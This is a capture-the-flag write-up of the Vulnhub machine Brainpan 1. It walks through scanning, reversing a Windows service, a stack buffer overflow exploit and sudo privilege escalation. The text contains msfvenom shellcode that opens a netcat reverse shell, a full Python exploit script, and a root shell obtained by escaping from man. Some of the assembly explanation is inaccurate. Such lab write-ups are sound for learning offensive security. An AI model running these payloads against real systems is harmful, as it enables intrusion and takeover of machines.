Brainpan 1

Moving on down the Vulnhub list of machines to do, we've got Brainpan 1. Hopefully this one is more difficult this is starting to get repetitive.

└─$ sudo nmap -nP 10.10.10.0/24                                            
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-09 12:38 EST
Nmap scan report for 10.10.10.1
Host is up (0.00013s latency).
All 1000 scanned ports on 10.10.10.1 are filtered
MAC Address: 08:00:27:A3:1B:5C (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.11
Host is up (0.00020s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
MAC Address: 08:00:27:39:D8:4A (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.9
Host is up (0.0000030s latency).
All 1000 scanned ports on 10.10.10.9 are closed
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.25 seconds
└─$ curl 10.10.10.11:10000                                             2 ⨯
<html>
<body bgcolor="ffffff">
<center>
<!-- infographic from http://www.veracode.com/blog/2012/03/safe-coding-and-software-security-infographic/ -->
<img src="soss-infographic-final.png">
</center>
</body>
</html>
                                                                           
└─$ curl 10.10.10.11:9999 
curl: (1) Received HTTP/0.9 when not allowed
└─$ nikto --host 10.10.10.11 --port 9999 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ No web server found on 10.10.10.11:9999
---------------------------------------------------------------------------
+ 0 host(s) tested
└─$ nikto --host 10.10.10.11 --port 10000                              1 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.11
+ Target Hostname:    10.10.10.11
+ Target Port:        10000
+ Start Time:         2021-01-09 12:40:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/2.7.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Python/2.7.3 appears to be outdated (current is at least 2.7.8)
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
+ OSVDB-3268: /bin/: Directory indexing found.
+ OSVDB-3092: /bin/: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: invalid HTTP response
+ Scan terminated:  20 error(s) and 7 item(s) reported on remote host
+ End Time:           2021-01-09 12:40:20 (GMT-5) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Huh, they're hosting it with Python SimpleHTTPServer?! I've used that for quick testing, but to actually host something? Surely this is vulnerable...

└─$ searchsploit SimpleHTTP
Exploits: No Results
Shellcodes: No Results

Okay whatever, let's dive into what's at /bin... 1 Cute! 2 Okay interesting, this is different! I'm honestly not sure what to do with this executable my reversing skills aren't great. I guess a first step would be to run this safely... So, I'm stepping off this internal network to install firejail, wine and wine32. Then I'm going to disconnect the virtual network interface from my host machine just incase this binary tries to phone home... I'm hoping this is the service running on port 9999 and we get to craft a payload to it!

└─$ ping 10.10.10.11                                                   2 ⨯
ping: connect: Network is unreachable
# Attempt to execute it
└─$ firejail wine ./brainpan.exe
Reading profile /etc/firejail/wine.profile
Reading profile /etc/firejail/disable-common.inc
Reading profile /etc/firejail/disable-devel.inc
Reading profile /etc/firejail/disable-interpreters.inc
Reading profile /etc/firejail/disable-passwdmgr.inc
Reading profile /etc/firejail/disable-programs.inc
Reading profile /etc/firejail/whitelist-var-common.inc
Warning: networking feature is disabled in Firejail configuration file
Parent pid 20083, child pid 20084
Warning: cannot open source file /usr/lib/x86_64-linux-gnu/firejail/seccomp.debug32, file not copied
Child process initialized in 100.21 ms
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Yessir, this is the binary running on port 9999! Okay this is going to be fun, we have to reverse this thing! The first tool I find for decompiling this is OllyDbg, so I install that and open the .exe in it: 3 Okay... it's been a long time since I looked at assembly. Let's see if I can find where it's taking data from the Web socket first and from there look for a buffer overflow or something of that nature... I can quickly see, by inspecting the responses and errors in the program the areas I want to dig into, however I need to learn some more about i386 instruction set, so I read a few things! I'll provide a list of URL's I read and some figures:

  • https://www.cs.virginia.edu/~evans/cs216/guides/x86.html 4 Alright so this debugger is running the program, and by glancing through the instructions I can see it's listening for a TCP connection... so, nc should open a connection to it? 5 Alright let's start debugging this thing. I find a section containing pointers to executables of functions I know I'm going to target and add breakpoints: 6 I let the program run. When I connect with nc it breaks at strcpy as it's copying the welcome header to the socket. I let that run through, and it hangs waiting for my password. I enter an incorrect password, it breaks at strcpy as it copies the string from the socket into a register... 7 Registers when strcpy exits: 8 Next, Strlen executes and finally strcmp executes. Here's the registers when strcmp begins: 9 As I step through and the function loads ECD and EDX to compare, we can see the password is shitstorm 10 Then I hit run until return until we're hanging again waiting for a TCP connection, reconnect stepping through until password entry, and enter shitstorm for the password! We get ACCESS_GRANTED, but then the connection terminates... 11 Oh wait... I get it, I don't care about getting the password correct. Wow I'm quite bad at this. I've pinpointed my one point of user input, I need to find a vulnerability here. Most likely during strcpy I can overflow the buffer and write some of my own instructions. It's been quite a while since I exploited a buffer overflow. So, we want to closely inspect the initial strcpy command where the socket input it getting written into memory. Here's the strcpy function:
7F9D8D00   55               PUSH EBP
7F9D8D01   31C0             XOR EAX,EAX
7F9D8D03   89E5             MOV EBP,ESP
7F9D8D05   53               PUSH EBX
7F9D8D06   8B4D 08          MOV ECX,DWORD PTR SS:[EBP+8]
7F9D8D09   8B5D 0C          MOV EBX,DWORD PTR SS:[EBP+C]
7F9D8D0C   8D7426 00        LEA ESI,DWORD PTR DS:[ESI]
7F9D8D10   0FB61403         MOVZX EDX,BYTE PTR DS:[EBX+EAX]
7F9D8D14   881401           MOV BYTE PTR DS:[ECX+EAX],DL
7F9D8D17   83C0 01          ADD EAX,1
7F9D8D1A   84D2             TEST DL,DL
7F9D8D1C  ^75 F2            JNZ SHORT msvcrt.7F9D8D10
7F9D8D1E   89C8             MOV EAX,ECX
7F9D8D20   5B               POP EBX
7F9D8D21   5D               POP EBP
7F9D8D22   C3               RETN

Register EBX contains the string we input. Here's what's happening in this routine:

  • Clear EBP
  • Set EAX to address 0
  • Move EBP into ESP (Unsure why, both registers are empty)
  • Clear EBX
  • Move first argument into ECX (This is destination string address, address 0042F6C0)
  • Move second argument into EBX (This is our input string address)
  • Load Effective Address
  • Then we head into a loop where we copy each byte from src to dst until DL && DL Not Zero (Stops at null byte?)

In C, we'd have something like this:

#include <stdio.h>
#include <string.h>
int main() {
   char str1[20] = "C programming";
   char str2[20];
   // copying str1 to str2
   strcpy(str2, str1);
   puts(str2); // C programming
   return 0;
}

I think by looking at the strcpy entry that the buffer is 20B (523) bytes long... Let's test? I should be able to enter a string of 518 bytes without issue.

┌──(kali㉿kali)-[~/Desktop]
└─$ perl -e 'print "F"x518; print "\n"'
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
                                                                                                                                                                
┌──(kali㉿kali)-[~/Desktop]
└─$ nc 10.10.10.11 9999                
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|
[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              
                          >> FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
                          ACCESS DENIED

Now, If I add one more F - it should crash the program. I did it, and now the server is down:

$ nc 10.10.10.11 9999
UNKNOWN) [10.10.10.11] 9999 (?) : Connection refused

Okay, in the real world I should probably perfectly craft my payload before taking down there server. Really - I just failed. Luckily, this server boots itself back up! Length 518 working means our buffer length is, well, 518! Now, most likely we can control EIP at address 525. because there'll be four bytes after the buffer end. So, we need to craft a payload like this: | 524 bytes padding | 4 bytes EIP | Shellcode to execute | For our payload, we're going to want to have the target server start a separate process to reverse back to us. Let's use msfvenom:

└─$ msfvenom -p linux/x86/exec CMD='nc 10.10.10.9 4444 -e /bin/bash' -b "x00" -f py
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 96 (iteration=0)
x86/shikata_ga_nai chosen with final size 96
Payload size: 96 bytes
Final size of py file: 483 bytes
buf =  b""
buf += b"\xb8\xcb\x3f\xe4\xef\xda\xca\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x12\x31\x43\x13\x83\xc3\x04\x03\x43\xc4\xdd"
buf += b"\x11\x85\xd1\x79\x43\x08\x83\x11\x5e\xce\xc2\x05\xc8"
buf += b"\x3f\xa7\xa1\x09\x28\x68\x50\x63\xc6\xff\x77\x21\xfe"
buf += b"\xdd\x77\xc6\xfe\x4f\x1b\xe6\xcf\xbf\xf5\xd7\x1f\x91"
buf += b"\x38\x28\x4e\xd4\x1a\x7c\xba\x12\x6f\x5c\xef\x3f\xaf"
buf += b"\xb3\x8d\xd6\xc1\xe4\x33\x49\x6d\x93\x93\xaf\x91\x34"
buf += b"\x87\x26\x70\x77\xa7"

Look back, we need the address of a JMP ESP instruction to abuse: 12 Address 311712F3 Now we write a little python script to generate exactly what we want:

import sys,socket
# Address of the JMP EIP instruction
eip = "\xf3\x12\x17\x31"
# Add NOP Sled before shellcode
buf = "x90"*16
# Add Generated shellcode to run netcat
buf += b"\xb8\xcb\x3f\xe4\xef\xda\xca\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x12\x31\x43\x13\x83\xc3\x04\x03\x43\xc4\xdd"
buf += b"\x11\x85\xd1\x79\x43\x08\x83\x11\x5e\xce\xc2\x05\xc8"
buf += b"\x3f\xa7\xa1\x09\x28\x68\x50\x63\xc6\xff\x77\x21\xfe"
buf += b"\xdd\x77\xc6\xfe\x4f\x1b\xe6\xcf\xbf\xf5\xd7\x1f\x91"
buf += b"\x38\x28\x4e\xd4\x1a\x7c\xba\x12\x6f\x5c\xef\x3f\xaf"
buf += b"\xb3\x8d\xd6\xc1\xe4\x33\x49\x6d\x93\x93\xaf\x91\x34"
buf += b"\x87\x26\x70\x77\xa7"
# Compile payload
data = ("F"*524) + eip + buf
# Open TCP Connection
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.11",9999))
# Read the header
print s.recv(1024)
# Send payload
s.send(data)
# Read Response
print s.recv(1024)
# Close socket
s.close()

Now let's try it out!!

$ nc -lp 4444 &
$ python brainpan.py
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|
[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              
                          >> 
$ fg
...                          

Hmm, maybe 4444 is just blocked on outbound? I generated a payload for port 443... Didn't work. After a lot of messing around, it turns out I messed two things up... I needed an encoding -e x86/alpha_upper for my payload... and, My NOPSled was missing an escape character... I got it to work anyway:

└─$ sudo nc -nvlp 443                                                                                                                                       1 ⨯
listening on [any] 443 ...
connect to [10.10.10.9] from (UNKNOWN) [10.10.10.11] 55265
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)

Now for the likely much easier part for me...

ls -al
total 48
drwx------ 7 puck puck 4096 Mar  6  2013 .
drwxr-xr-x 5 root root 4096 Mar  4  2013 ..
-rw------- 1 puck puck    0 Mar  5  2013 .bash_history
-rw-r--r-- 1 puck puck  220 Mar  4  2013 .bash_logout
-rw-r--r-- 1 puck puck 3637 Mar  4  2013 .bashrc
drwx------ 3 puck puck 4096 Mar  4  2013 .cache
drwxrwxr-x 3 puck puck 4096 Mar  4  2013 .config
-rw------- 1 puck puck   55 Mar  5  2013 .lesshst
drwxrwxr-x 3 puck puck 4096 Mar  4  2013 .local
-rw-r--r-- 1 puck puck  675 Mar  4  2013 .profile
drwxrwxr-x 4 puck puck 4096 Jan  9 10:52 .wine
-rwxr-xr-x 1 root root  513 Mar  6  2013 checksrv.sh
drwxrwxr-x 3 puck puck 4096 Mar  4  2013 web
cat checksrv.sh
#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then 
        pid=`ps aux | grep brainpan.exe | grep -v grep`
        if [[ ! -z $pid ]]; then
                kill -9 $pid
                killall wineserver
                killall winedevice.exe
        fi
        /usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi 
# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then 
        pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
        if [[ ! -z $pid ]]; then
                kill -9 $pid
        fi
        cd /home/puck/web
        /usr/bin/python -m SimpleHTTPServer 10000
fi 
python -c 'import pty;pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$ ps -aux | grep root
ps -aux | grep root
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ
root         1  0.0  0.7   3496  1852 ?        Ss   09:50   0:00 /sbin/init
root         2  0.0  0.0      0     0 ?        S    09:50   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    09:50   0:00 [ksoftirqd/0]
root         4  0.0  0.0      0     0 ?        S    09:50   0:00 [kworker/0:0]
root         6  0.0  0.0      0     0 ?        S    09:50   0:00 [migration/0]
root         7  0.0  0.0      0     0 ?        S    09:50   0:00 [watchdog/0]
root         8  0.0  0.0      0     0 ?        S<   09:50   0:00 [cpuset]
root         9  0.0  0.0      0     0 ?        S<   09:50   0:00 [khelper]
root        10  0.0  0.0      0     0 ?        S    09:50   0:00 [kdevtmpfs]
root        11  0.0  0.0      0     0 ?        S<   09:50   0:00 [netns]
root        12  0.0  0.0      0     0 ?        S    09:50   0:00 [sync_supers]
root        13  0.0  0.0      0     0 ?        S    09:50   0:00 [bdi-default]
root        14  0.0  0.0      0     0 ?        S<   09:50   0:00 [kintegrityd]
root        15  0.0  0.0      0     0 ?        S<   09:50   0:00 [kblockd]
root        16  0.0  0.0      0     0 ?        S<   09:50   0:00 [ata_sff]
root        17  0.0  0.0      0     0 ?        S    09:50   0:00 [khubd]
root        18  0.0  0.0      0     0 ?        S<   09:50   0:00 [md]
root        22  0.0  0.0      0     0 ?        S    09:50   0:00 [khungtaskd]
root        23  0.0  0.0      0     0 ?        S    09:50   0:00 [kswapd0]
root        24  0.0  0.0      0     0 ?        SN   09:50   0:00 [ksmd]
root        25  0.0  0.0      0     0 ?        S    09:50   0:00 [fsnotify_mark]
root        26  0.0  0.0      0     0 ?        S    09:50   0:00 [ecryptfs-kthrea]
root        27  0.0  0.0      0     0 ?        S<   09:50   0:00 [crypto]
root        36  0.0  0.0      0     0 ?        S<   09:50   0:00 [kthrotld]
root        37  0.0  0.0      0     0 ?        S    09:50   0:00 [kworker/u:2]
root        39  0.0  0.0      0     0 ?        S    09:50   0:00 [scsi_eh_0]
root        40  0.0  0.0      0     0 ?        S    09:50   0:00 [scsi_eh_1]
root        41  0.0  0.0      0     0 ?        S    09:50   0:00 [kworker/u:3]
root        42  0.0  0.0      0     0 ?        S<   09:50   0:00 [binder]
root        62  0.0  0.0      0     0 ?        S<   09:50   0:00 [deferwq]
root        63  0.0  0.0      0     0 ?        S<   09:50   0:00 [charger_manager]
root        64  0.0  0.0      0     0 ?        S<   09:50   0:00 [devfreq_wq]
root       268  0.0  0.0      0     0 ?        S<   09:50   0:00 [mpt_poll_0]
root       271  0.0  0.0      0     0 ?        S<   09:50   0:00 [mpt/0]
root       287  0.0  0.0      0     0 ?        S    09:50   0:00 [scsi_eh_2]
root       302  0.0  0.0      0     0 ?        S    09:50   0:00 [jbd2/sda1-8]
root       303  0.0  0.0      0     0 ?        S<   09:50   0:00 [ext4-dio-unwrit]
root       394  0.0  0.2   2820   608 ?        S    09:50   0:00 upstart-udev-bridge --daemon
root       396  0.0  0.5   3052  1268 ?        Ss   09:50   0:00 /sbin/udevd --daemon
root       565  0.0  0.0      0     0 ?        S<   09:50   0:00 [kpsmoused]
root       618  0.0  0.9   5492  2336 ?        Ss   09:50   0:00 dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
root       642  0.0  1.4  18832  3588 ?        Ss   09:50   0:00 /usr/sbin/winbindd -F
root       647  0.0  0.5  18832  1296 ?        S    09:50   0:00 /usr/sbin/winbindd -F
root       672  0.0  0.3   3048   876 ?        S    09:50   0:00 /sbin/udevd --daemon
root       679  0.0  0.3   3048   828 ?        S    09:50   0:00 /sbin/udevd --daemon
root       755  0.0  0.2   2816   596 ?        S    09:50   0:00 upstart-socket-bridge --daemon
root       833  0.0  0.0      0     0 ?        S    09:50   0:00 [kworker/0:2]
root       839  0.0  0.3   4632   852 tty4     Ss+  09:50   0:00 /sbin/getty -8 38400 tty4
root       841  0.0  0.3   4632   852 tty5     Ss+  09:50   0:00 /sbin/getty -8 38400 tty5
root       846  0.0  0.3   4632   852 tty2     Ss+  09:50   0:00 /sbin/getty -8 38400 tty2
root       850  0.0  0.3   4632   848 tty3     Ss+  09:50   0:00 /sbin/getty -8 38400 tty3
root       858  0.0  0.3   4632   852 tty6     Ss+  09:50   0:00 /sbin/getty -8 38400 tty6
root       868  0.0  0.3   2620   800 ?        Ss   09:50   0:00 cron
root       897  0.0  0.1   2656   360 ?        S    09:50   0:00 /usr/bin/daemon /etc/init.d/mpt-statusd check_mpt
root       898  0.0  0.2   2232   616 ?        S    09:50   0:00 /bin/sh /etc/init.d/mpt-statusd check_mpt
root       958  0.0  0.3   4632   852 tty1     Ss+  09:50   0:00 /sbin/getty -8 38400 tty1
root       975  0.0  0.0      0     0 ?        S    09:50   0:00 [flush-8:0]
root       976  0.0  0.4   3180  1144 ?        S    09:51   0:00 CRON
root      2084  0.0  0.1   2152   280 ?        S    10:50   0:00 sleep 600
puck      2233  0.0  0.2   2316   560 pts/0    S+   10:53   0:00 grep --color=auto root
puck@brainpan:/home/puck$ find . -readable -and -user puck 2>/dev/null | head -n 10
<ind . -readable -and -user puck 2>/dev/null | head -n 10                    
.
./.profile
./.bash_logout
./.bash_history
./.wine
./.wine/user.reg
./.wine/.update-timestamp
./.wine/drive_c
./.wine/drive_c/users
./.wine/drive_c/users/puck
puck@brainpan:/$ ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/
/tmp:
.  ..  .ICE-unix  .X11-unix  .winbindd  .wine-1002
/var/backups:
.  ..
/var/mail/:
.  ..
/var/spool/mail/:
.  ..
/var/tmp:
.  ..
puck@brainpan:/$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

I played with these options for a while:

  • network runs ifconfig
  • unsure what exactly proclist is doing
  • manual executes man <command> The last one is where we can get command injection! Testing...
puck@brainpan:/$ sudo /home/anansi/bin/anansi_util manual man; ls
sudo /home/anansi/bin/anansi_util manual man; ls
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)
MAN(1)                        Manual pager utils                        MAN(1)
NAME
       man - an interface to the on-line reference manuals
SYNOPSIS
       man  [-C  file]  [-d]  [-D]  [--warnings[=warnings]]  [-R encoding] [-L
       locale] [-m system[,...]] [-M path] [-S list]  [-e  extension]  [-i|-I]
       [--regex|--wildcard]   [--names-only]  [-a]  [-u]  [--no-subpages]  [-P
       pager] [-r prompt] [-7] [-E encoding] [--no-hyphenation] [--no-justifi‐
       cation]  [-p  string]  [-t]  [-T[device]]  [-H[browser]] [-X[dpi]] [-Z]
       [[section] page ...] ...
       man -k [apropos options] regexp ...
       man -K [-w|-W] [-S list] [-i|-I] [--regex] [section] term ...
       man -f [whatis options] page ...
       man -l [-C file] [-d] [-D] [--warnings[=warnings]]  [-R  encoding]  [-L
       locale]  [-P  pager]  [-r  prompt]  [-7] [-E encoding] [-p string] [-t]
       [-T[device]] [-H[browser]] [-X[dpi]] [-Z] file ...
       man -w|-W [-C file] [-d] [-D] page ...
       man -c [-C file] [-d] [-D] page ...
       man [-hV]
DESCRIPTION
 Manual page man(1) line 1 (press h for help or q to quit)
       man is the system\'s manual pager. Each page argument given  to  man  is
 Manual page man(1) line 2 (press h for help or q to quit)q
bin   etc         initrd.img.old  media  proc  sbin     sys  var
boot  home        lib             mnt    root  selinux  tmp  vmlinuz
dev   initrd.img  lost+found      opt    run   srv      usr  vmlinuz.old

Now to figure out a payload...

$ sudo /home/anansi/bin/anansi_util manual man; echo "puck   ALL=(ALL) NOPASSWD:ALL"
bash: /etc/sudoers: Permission denied

Huh?!

$ sudo /home/anansi/bin/anansi_util manual man; id
...
uid=1002(puck) gid=1002(puck) groups=1002(puck)

Yeah... duh, I'm just executing that in my context. But wait, isn't the manual binary exploitable too?

root@brainpan:/usr/share/man# sudo /home/anansi/bin/anansi_util manual ls       
sudo /home/anansi/bin/anansi_util manual ls
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)
LS(1)                            User Commands                           LS(1)
NAME
       ls - list directory contents
SYNOPSIS
       ls [OPTION]... [FILE]...
DESCRIPTION
       List  information  about  the FILEs (the current directory by default).
       Sort entries alphabetically if none of -cftuvSUX nor --sort  is  speci‐
       fied.
       Mandatory  arguments  to  long  options are mandatory for short options
       too.
       -a, --all
              do not ignore entries starting with .
       -A, --almost-all
              do not list implied . and ..
       --author
 Manual page ls(1) line 1 (press h for help or q to quit)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man# id
id
uid=0(root) gid=0(root) groups=0(root)

Hell yeah it is! We win!

cd /root
root@brainpan:~# ls
ls
b.txt
root@brainpan:~# cat b.txt
cat b.txt
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|
                                              http://www.techorganic.com 

GG